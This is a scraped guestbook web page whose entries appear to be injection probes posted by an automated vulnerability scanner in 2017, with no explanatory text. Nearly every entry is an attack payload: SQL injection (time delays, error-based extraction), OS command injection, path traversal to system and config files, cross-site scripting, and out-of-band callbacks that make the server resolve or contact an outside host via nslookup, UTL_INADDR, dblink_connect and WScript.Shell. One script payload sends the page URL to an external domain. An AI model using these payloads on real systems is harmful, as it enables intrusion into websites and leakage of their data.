+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ ";expr 268409241 - 2;" +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ WAITFOR DELAY '0:0:25'-- +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ 1 WAITFOR DELAY '0:0:25'-- +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

c%3a%5cboot.ini

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

hTTp://r87.com/n

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

file%3a%2fboot.ini

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ ' WAITFOR DELAY '0:0:25'-- +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:26 AM +

+

+ SET /A 0xFFF9999-2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ & SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ '& SET /A 0xFFF9999-2 & +

+
+

c:\boot.ini

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ "& SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

file:/boot.ini

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

1/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

/../../../../../../../../../../boot.iniďż˝.aspx

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

//r87.com/?0x002AB8

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

//r87.com/?0x002AB7

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

[ns](javascript:netsparker(0x002A8F); "nsmd")

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

ping -w 25 127.0.0.1

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -n 25 127.0.0.1

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

'+netsparker(0x002A8B)+'

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

netsparker(0x002A89);

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

netsparker(0x002A87)

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

&ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

'&ping -w 25 127.0.0.1 &'

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

',netsparker(0x002A85),'

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

\';netsparker(0x002A83);///

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

"&ping -w 25 127.0.0.1 &"

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

"+netsparker(0x002A81)+"

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'+netsparker(0x002A7F)+'

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

*/netsparker(0x002A7D);/*

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

body{x:expression(netsparker(0x002A7B))}

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

"& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

|expr${IFS}268409241${IFS}-${IFS}2

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

expr 268409241 - 2

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

n;ns:expression(netsparker(0x002A79));

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

expr 268409241 - 2;

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+' +

+
+

1;expr 268409241 - 2;x

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

+

+ 8/23/2017 8:08:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

1';expr 268409241 - 2;'

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf""ury.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd""z1o.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:50 AM +

+

+ 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1 +

+
+

"&nslookup "o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic""f8i.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

"&nslookup "o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu""90e.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:50 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL) +

+
+

'&nslookup "o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5""fqe.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

1";expr 268409241 - 2;"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

'&nslookup "o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye""btw.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||' +

+
+

Smith

+

+ 8/23/2017 8:08:49 AM +

+

+ -1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1 +

+
+

&nslookup "o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj""oac.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

javascript:netsparker(0x002A73)

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

&nslookup "o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3""_iq.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL)))) +

+
+

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5""g2w.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26""lsu.r87.me"

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

">

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:47 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL) +

+
+

Smith

+

+ 8/23/2017 8:08:47 AM +

+

+ -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'>

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz"+"lqw.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal"+"9om.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

//r87.com/n/j/?0x002A6C

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||' +

+
+

//r87.com/n/j/?0x002A6B

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:44 AM +

+

+ (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric) +

+
+

"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A6A

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1'));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric) +

+
+

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A69

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

1 ns=netsparker(0x002A5F)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

'" ns=netsparker(0x002A5D)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:42 AM +

+

+ Guestbook.aspxďż˝ +

+
+

Smith

+

+ 8/23/2017 8:08:41 AM +

+

+ '+NSFTW+' +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2') +

+
+

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ Guestbook.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ '"--> +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7" & "32o.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

1');SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ data:;base64,TlM3NzU0NTYxNDQ2NTc1 +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio" & "qju.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y" & "wqa.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-" & "y9m.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

